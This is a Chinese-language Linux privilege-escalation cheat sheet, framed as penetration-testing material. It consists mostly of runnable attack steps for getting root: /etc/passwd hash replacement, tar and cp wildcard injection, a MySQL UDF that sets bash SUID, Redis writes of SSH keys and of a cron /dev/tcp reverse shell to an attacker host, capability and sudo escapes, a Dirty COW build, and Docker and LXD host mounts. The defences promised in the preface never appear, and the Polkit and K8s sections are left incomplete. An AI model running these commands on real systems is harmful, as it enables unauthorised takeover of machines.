Linux提权
| 作者 | 修订时间 |
|---|---|
| 2025-10-15 00:34:06 |
Linux 提权文档
Linux 提权文档
Linux 提权是指通过多种技术手段,利用系统漏洞或配置错误,获取比当前用户权限更高的操作权限(通常为 root 权限)。本文记录了常见的 Linux 提权方式,适用于系统安全研究、渗透测试以及提升 Linux 系统的安全性。
前言
在渗透测试和安全审计过程中,提权是一个常见的任务。无论是通过不当配置、漏洞利用,还是通过滥用系统权限,提权都能让攻击者提升对目标系统的控制。本文旨在介绍常见的 Linux 提权方式以及如何防范这些攻击。
基础知识
手册
用户和权限
Linux 系统使用 用户(UID) 和 组(GID) 来管理不同用户的权限。每个文件和目录都有 所有者 和 权限(例如:rwxr-xr-x),并且会定义对文件的读取、写入和执行的访问控制。
常见的用户权限有:
r:读取权限w:写入权限x:执行权限
SUID 和 SGID
- SUID(Set User ID):当一个文件被设置了 SUID 位时,执行该文件的用户将获得文件所有者的权限,而不仅仅是当前用户的权限。通常用于程序需要用 root 权限执行的情况,如
ping。 - SGID(Set Group ID):与 SUID 类似,但它让程序以文件所属组的身份运行。
查看文件是否设置了 SUID/SGID,可以使用 ls -l 命令。
Linux Capabilities
Linux capabilities 是比传统的 root 权限更细粒度的权限管理方式。通过 setcap 命令,可以为进程或文件设置特定的能力,例如网络访问、文件管理等,而不需要完全的 root 权限。
提权方法
SUID 提权
SUID 提权是最常见的提权方式之一。通过利用 SUID 位,用户可以在执行某些特权命令时获取 root 权限。
- 查找 SUID 文件:
find / -type f -perm -4000 2>/dev/null
- 利用 SUID 提权:假设
find工具是 SUID 文件,且具有执行root权限,攻击者可以通过操控该工具达到提权。
Linux 内核漏洞
内核漏洞可以为攻击者提供直接的 root 提权。通过利用系统中的漏洞,攻击者可以执行特定的恶意代码,从而获得完整的 root 权限。
- 常见的内核漏洞:
- Dirty COW 漏洞:一个著名的内核漏洞,攻击者通过该漏洞可以在没有 root 权限的情况下修改内核内存。
- Local Root Exploits:许多内核漏洞可以让本地用户通过提升自己的权限获得 root 权限。
Passwd提权
passwd 文件提权 是通过篡改 /etc/passwd 文件中的某个用户(通常是 root)的密码字段,达到提权目的。由于某些系统或配置中 /etc/shadow 不被使用(或 root 使用的是 passwd 中的密码),攻击者可以将 /etc/passwd 中 root 的密码字段替换为一个已知的 hash,从而使用 su 提权成为 root。
攻击步骤如下:
首先生成一个已知密码的 hash,例如使用 openssl:
openssl passwd -1 -salt xyz 123456
输出示例:
$1$xyz$4zT7eWz8bszUOwhcGHM3E1
然后编辑 /etc/passwd 文件,将 root 那一行的密码字段替换成上述 hash,比如原本是:
root:x:0:0:root:/root:/bin/bash
修改为:
root:$1$xyz$4zT7eWz8bszUOwhcGHM3E1:0:0:root:/root:/bin/bash
保存后,使用 su 命令切换到 root 用户,并输入你设置的密码(这里是 123456)即可完成提权。
该方式需要目标系统的 /etc/passwd 可写,通常配合某些提权手段(如程序错误设置了 passwd 为 777)一起使用,属于典型的“低权限可写敏感配置文件”类型的提权方式。
Wildcard提权
wildcard 通配符提权 是 Linux 提权的一种方式,攻击者可以利用某些命令(如 tar、cp 等)在处理带有通配符 * 时会解析特定参数或行为,从而执行恶意命令或操作文件实现提权。例如,当有 sudo tar -cf archive.tar * 的权限时,攻击者可以创建特殊参数文件:
echo 'echo pwned > /tmp/rooted' > exploit.sh
chmod +x exploit.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=./exploit.sh"
sudo tar -cf archive.tar *
这样在打包时 tar 会自动执行 ./exploit.sh,从而执行任意命令。
另一个常见例子是 cp 命令。当存在 sudo cp * /etc/ 权限时,攻击者可以通过构造选项注入和目标文件实现提权:
echo 'youruser ALL=(ALL) NOPASSWD:ALL' > sudoers
touch "--target-directory=/etc"
touch "--no-preserve=ownership"
sudo cp * /etc/
这样可能将伪造的 sudoers 文件复制到 /etc/sudoers,实现免密码 sudo 提权。
还可以结合 cp -L 选项进行利用,例如:
ln -s /etc/sudoers link
echo 'youruser ALL=(ALL) NOPASSWD:ALL' > payload
mv payload link
sudo cp -L * /etc/
由于 -L 选项会解引用符号链接,cp 会将 payload 的内容写入 /etc/sudoers,从而实现权限提升。
Mysql UDF提权
MySQL UDF提权利用的是MySQL数据库支持加载用户自定义函数(User Defined Function)的特性。攻击者通过上传并加载恶意编译好的共享库(.so文件),可以在数据库服务器上执行任意系统命令,从而实现本地提权,甚至获得root权限。
前提条件:
- 允许攻击者拥有导出权限。查看可导出位置,MySQL用户拥有
FILE权限,可以将上传的.so文件写入MySQL插件目录(如/usr/lib/mysql/plugin/)
show variables like '%secure%'
- 具备MySQL用户权限能够执行
CREATE FUNCTION语句,加载恶意的UDF共享库。 - 目标MySQL服务器允许加载外部自定义函数,没有限制或禁止该功能。
- 操作系统层面对MySQL进程的权限限制不严格,数据库进程用户有权限加载并执行共享库文件。
攻击步骤:
- 攻击者准备恶意UDF模块文件(如
lib_mysqludf_sys.so),通过wget或其他方式上传到服务器的临时目录(如/tmp)。 - 登录MySQL,查询插件目录位置:
SELECT @@plugin_dir;
- 先将恶意库文件转为16进制格式(比如用
xxd -p lib_mysqludf_sys.so),然后拆分成合适大小的片段。
xxd -p lib_mysqludf_sys.so
- 使用MySQL的
FILE权限,将上传的.so文件写入插件目录:
SELECT UNHEX('7f454c4602010100000000000000000002003e0001000000b0404000000000004000000000000000000000000')
INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
- 加载恶意共享库为MySQL自定义函数:
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
- 调用自定义函数执行系统命令,实现提权:
SELECT sys_exec('chmod +s /bin/bash');
- 利用获得Set-UID权限的shell:
/bin/bash -p
即可获得root权限的shell。
Redis 提权
Redis 默认运行在 root 权限或高权限用户下,若目标 Redis 开启未授权访问,且允许写文件,则可写入 SSH 公钥、写 cron 计划任务、写入反弹 shell,最终实现本地提权或远程控制。
一、前提条件
- Redis 无需认证(或攻击者已获得 Redis 密码);
- Redis 服务运行用户权限较高(如 root);
- Redis 配置允许外部连接;
- Redis 可执行
CONFIG SET写入目录和文件(通常未禁用); - 目标主机允许访问 Redis 端口(默认 6379);
- 可控制 Redis 的写入路径(如
/root/.ssh/authorized_keys或/var/spool/cron/root等);
二、攻击原理
Redis 支持通过 CONFIG SET 修改数据目录 dir 和数据库文件名 dbfilename,并可通过 SAVE 命令将当前内存中的数据写入磁盘。攻击者将恶意内容写入键值对后,再通过 SAVE 将这些内容以文件形式写入目标目录,实现任意文件写入。
三、常见利用方式
✅ 写入 SSH 公钥(提权到 root)
步骤:
# 生成密钥对
ssh-keygen -t rsa -f redis_key
# 连接 Redis
redis-cli -h target_ip
# 写入公钥内容为值(需换行)
set backup "\n\nssh-rsa AAAAB3Nza...你的公钥...== attacker@kali\n\n"
# 设置目标路径
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
# 写入磁盘
save
然后即可通过私钥 SSH 登录目标主机,获得 root shell:
ssh -i redis_key root@target_ip
✅ 写入 Cron Job(执行反弹 shell)
# 写一个反弹 shell 到 Redis
set backup "\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/yourip/port 0>&1'\n"
# 修改目录
config set dir /var/spool/cron/
config set dbfilename root
# 执行写入
save
监听端口:
nc -lvvp port
一分钟后目标机器自动连接回来。
Capabilities 提权
在 Linux 中,传统上只有 root 用户才能执行某些受限操作,如监听低端口、加载内核模块、执行挂载等。为细化权限控制,Linux 引入了 Capabilities(能力位) 概念,把原本 root 独有的权限拆分为若干小能力位,允许非 root 用户在保留最小权限的前提下执行特定操作。
攻击者若能发现某个二进制程序具备特殊 Capabilities(尤其是具备 cap_setuid, cap_setgid, cap_sys_admin 等),就可能通过它间接提权为 root。
查看 Capabilities
使用 getcap 命令可查看系统中具有 Capabilities 的可执行文件:
getcap -r / 2>/dev/null
输出示例:
/usr/bin/python3.11 = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
说明 /usr/bin/python3.11 具有 cap_setuid 权限,可以设置用户UID。
关键 Capabilities 权限位说明
| Capabilities | 含义 |
|---|---|
cap_setuid | 允许进程更改其有效 UID(可用于提权) |
cap_setgid | 允许更改 GID |
cap_sys_admin | 类似 root 权限,可挂载、修改系统配置等 |
cap_dac_override | 绕过文件权限检查(类似 root 可读写任意文件) |
cap_net_bind_service | 监听 1024 以下端口 |
提权利用场景(案例)
利用带有 cap_setuid+ep 的二进制提权
如果攻击者发现某程序(如 Python)具有 cap_setuid+ep 权限,可以创建一个 SUID shell,从而提权。
利用步骤:
# 检查是否具有 cap_setuid
getcap /usr/bin/python3.11
# 输出应为: /usr/bin/python3.11 = cap_setuid+ep
# 编写 Python 提权代码
/usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/bash")'
此时,攻击者将获得 root shell。
利用 cap_dac_override 绕过权限限制读取文件
# 若某二进制具有 cap_dac_override,可读取任意权限文件
/usr/bin/cat /etc/shadow
利用自编程程序执行提权
攻击者可将任意二进制设置 cap 权限(如 cap_setuid),实现提权:
# 生成一个C程序
cat > suid_shell.c <<EOF
#include <unistd.h>
int main() {
setuid(0); system("/bin/bash");
return 0;
}
EOF
# 编译
gcc suid_shell.c -o suid_shell
# 赋予cap_setuid
sudo setcap cap_setuid+ep ./suid_shell
# 执行即提权
./suid_shell
Sudo 提权
sudo 提权 是指当用户可以通过 sudo 执行某些命令时,利用该命令的特性执行任意命令或逃逸到交互式 shell,从而提权为 root。关键点在于 sudo -l 列出的命令是否存在可利用点。
例如,当用户可执行如下命令时:
sudo vim
可以在 vim 中输入:
:!bash
即可弹出 root shell。
又如用户能执行 sudo less,也可以输入:
!bash
或当能执行 sudo python 时,直接输入:
import os
os.system("/bin/bash")
若能执行 sudo find,则可执行:
sudo find . -exec /bin/bash \;
例如sudo awk
ubuntu@VM-4-13-ubuntu:/$ sudo awk 'BEGIN {system("/bin/sh")}'
# whoami
root
#
若能执行 sudo cp 或其他文件操作命令,也可以用它们覆盖敏感文件如 /etc/sudoers 或 /etc/passwd,配合前述方法完成提权。
内核 提权
内核提权 是通过利用 Linux 内核中的已知漏洞,运行本地漏洞利用代码(exploit)实现权限提升。常用方式是先用 uname -r 获取内核版本,再用 searchsploit 查找对应漏洞利用工具,最后下载编译执行完成提权。
操作示例:
uname -r
searchsploit linux kernel 5.4.0
假设搜索结果里出现了经典的 Dirty COW 漏洞利用(编号 44110),你可以:
searchsploit -m 44110
gcc 44110.c -o dirtycow
./dirtycow
执行后,若漏洞存在,程序会帮你将权限提升为 root。
类似的,还有 overlayfs、run_pipe等漏洞,也能用 searchsploit 找到对应代码,通过编译运行实现提权。
这种利用内核漏洞提权的方式适合目标系统内核版本较老,且未打补丁的场景,提权成功后可以拿到完整 root 权限。
脏牛 提权(CVE-2016-5195)
脏牛是一个非常经典的内核提权漏洞,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复影响范围:Linux kernel>2.6.22 (released in 2007)的所有Linux系统,且低于以下版本:
Centos7/RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
linux内核的内存子系统在处理私有映射时的写时复制(copy on write,COW)的中断方式里创建了条件竞争,该条件竞争可能运行非特权用户获得对只读内存映射的写入权限。写时复制是一种内存管理的优化技术,用于在多个进程共享同一个内存页的情况下避免内存冲突。当一个进程试图修改一个内存页时,操作系统会自动复制这个内存页,而不会受到当前进程修改的影响
利用方式
默认情况下,低权限会话是无法修改高权限文件,比如 /etc/passwd、/etc/shadow、/etc/group 等。脏牛漏洞的利用方式是:首先使用 mmap 函数申请虚拟内存,在虚拟内存上找到一个页面创建私有映射(以 /etc/group 为例)。由于此映射是私有的,因此可以随意对文件写入修改而不会影响原文件,然后向私有映射文件中写入内容,将当前用户添加至 sudo 组,但不是直接向 mmap 申请的虚拟映射中写入内容,而是向 Linux 中的一个特殊文件 /proc/self/mem 中写入。
mmap 函数是用来创建内存映射的函数。通过内存映射,可以将一段文件或其他对象映射到进程的地址空间,从而可以直接访问该对象。
proc/self/mem 文件是 Linux 的一个特殊文件,它允许程序直接访问当前进程的虚拟内存空间。通过读写 /proc/self/mem 文件,可以直接在虚拟内存中修改指定内存位置的数据。
写入 /proc/self/mem 完成后,内核需要在物理内存上寻找写入的位置,此时还未开始写入。并行运行两个线程,第一个线程的功能是写入物理内存,它包括两个操作,分别是定位到物理内存和写入物理内存。在定位物理内存位置时,内核发现物理内存中已经有了一个 /etc/group 文件,这时触发写时复制,内核准备在物理内存中找到位置创建私有映射的副本,然后写入。在写入之前,运行第二个线程,其功能是调用 madvise 函数,通知内核不再需要(MADV_DONTNEED)私有映射。这样,内核就有可能会被欺骗,认为程序写入的是原始文件。通过无限循环这两个线程,就有可能完成竞争条件,成功地写入原始文件
案例
首先下载exp,由于装了git,这里就直接clone了
git clone https://github.com/gbonacini/CVE-2016-5195.git
# 进入目录make生成可执行文件
cd CVE-2016-5195 && make
# 执行make好的文件,即可自动完成利用并提权
./dcow -s
Polkit 提权(CVE-2021-4034)
polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令polkit 提供了一个授权 API,供特权程序(“ MECHANISMS ” )使用,通常通过某种形式的进程间通信机制为非特权程序( “ SUBJECTS ”)提供服务。在这种情况下,该机制通常将主体视为不受信任。对于来自主体的每个请求,该机制需要确定该请求是否被授权,或者它是否应该拒绝为主体提供服务。使用 polkit API,一种机制可以将此决定转交给受信任的一方:polkit 权威。polkit 权限被实现为系统守护进程 polkitd (8),它本身没有什么特权,因为它以 polkitd系统用户身份运行。机制、主体和认证代理使用系统消息总线与授权机构进行通信。除了作为授权之外,polkit 还允许用户通过验证管理用户或客户端所属会话的所有者来获得临时授权。这对于机制需要验证系统的操作员确实是用户还是管理用户的场景很有用漏洞点逻辑:执行pkexec时,指定了恶意的envp[0],那么可以写入一个环境变量到目标进程空间中
计划任务 提权
**定时任务(cron job)**可以用来设置周期执行的命令,提权的原理为计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权。常用命令如下:
crontab -e编辑计划任务crontab -l查看计划任务crontab -r删除目前的crontab
计划任务提权 是通过滥用系统中的定时任务(cron)来实现权限提升。若某些定时任务脚本由 root 用户运行,但其脚本路径或调用的二进制文件可被低权限用户修改,就可以插入恶意命令,等定时任务触发后以 root 权限执行,从而完成提权。
常见利用场景是 /etc/crontab 或 /etc/cron.d/* 中有如下内容:
* * * * * root /usr/local/bin/backup.sh
如果当前用户可以修改 /usr/local/bin/backup.sh,就可以写入如下内容:
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
等待 cron 自动执行后,即可使用:
/tmp/rootbash -p
获得 root shell。
这种提权方式通常需要结合:
find / -writable -type f 2>/dev/null
等命令寻找可写脚本,或使用 pspy 工具监听定时任务执行行为,是实战中非常常见的一种提权手段。
Docker 提权
Docker 容器内逃逸提权 是指攻击者在容器内,通过利用宿主机与容器之间的接口或权限配置缺陷,从容器中突破隔离限制,获得宿主机权限。
常见逃逸方式如下:
-
挂载宿主机文件系统的容器(如
/挂到容器中): 容器内可执行: chroot /mnt 就可以访问宿主机的根目录。 -
/var/run/docker.sock 挂载到容器中: 攻击者可以通过 docker API 操作宿主机容器,创建挂载了
/的新容器,从而实现宿主机 root 提权。 -
具有 CAP_SYS_ADMIN 等高权限的容器: 如果容器运行时加了
--cap-add=ALL或--privileged,即可利用内核接口(如挂载、加载模块)进行提权或逃逸。
docker run --rm -it --privileged alpine
mount -t proc proc /proc
chroot /host
- 利用已知内核逃逸漏洞: 如果宿主机内核存在漏洞(如 Dirty COW、overlayfs),容器内可用本地提权 exploit 实现宿主机提权。
K8s 提权(CVE-2018-1002105)
LXD 提权
LXD(Linux Container Daemon)是一个用于管理 Linux 容器的工具。在默认配置或管理不当的情况下,攻击者可以利用 LXD 进行本地提权(Local Privilege Escalation),获取宿主机的 root 权限。
LXD 提权原理
-
(1)核心问题:特权容器(Privileged Containers):LXD 允许用户创建特权容器(
security.privileged=true),这类容器会绕过 Linux 的用户命名空间隔离(User Namespace),导致容器内的 root 用户等同于宿主机的 root 用户。 -
(2)关键条件:当前用户在
lxd用户组 / LXD 服务未正确配置安全策略(允许普通用户创建特权容器) -
提权路径
- 用户通过
lxd组权限与 LXD 守护进程通信 - 创建特权容器并挂载宿主机文件系统
- 在容器内修改宿主机敏感文件(如
/etc/passwd、/etc/shadow)或写入 SSH 密钥 - 获得宿主机 root 权限
实际提权案例演示
- 步骤 1:检查当前用户是否在
lxd组
id
如果输出包含 lxd,则存在提权可能:
uid=1001(test) gid=1001(test) groups=1001(test),108(lxd)
- 步骤 2:创建特权容器并挂载宿主机 / 目录
# 初始化一个特权容器(使用Ubuntu镜像)
lxc init ubuntu:22.04 privesc -c security.privileged=true
# 将宿主机的根目录`/`挂载到容器的`/mnt/root`
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
# 启动容器
lxc start privesc
# 进入容器shell
lxc exec privesc bash
- 步骤 3:在容器内修改宿主机文件
容器的 /mnt/root 就是宿主机的 /,可以直接修改关键文件:
方法 1:直接修改 /etc/passwd,添加 root 权限用户
echo "hacker::0:0::/root:/bin/bash" >> /mnt/root/etc/passwd
然后,在宿主机上切换到 hacker 用户即可获得 root:
su hacker
方法 2:写入 SSH 公钥到 /root/.ssh/authorized_keys
mkdir -p /mnt/root/root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /mnt/root/root/.ssh/authorized_keys
然后,直接 SSH 登录宿主机的 root 用户:
ssh root@localhost
方法 3:修改 /etc/sudoers 让当前用户免密提权
echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /mnt/root/etc/sudoers
然后,在宿主机上执行 sudo su 即可获得 root。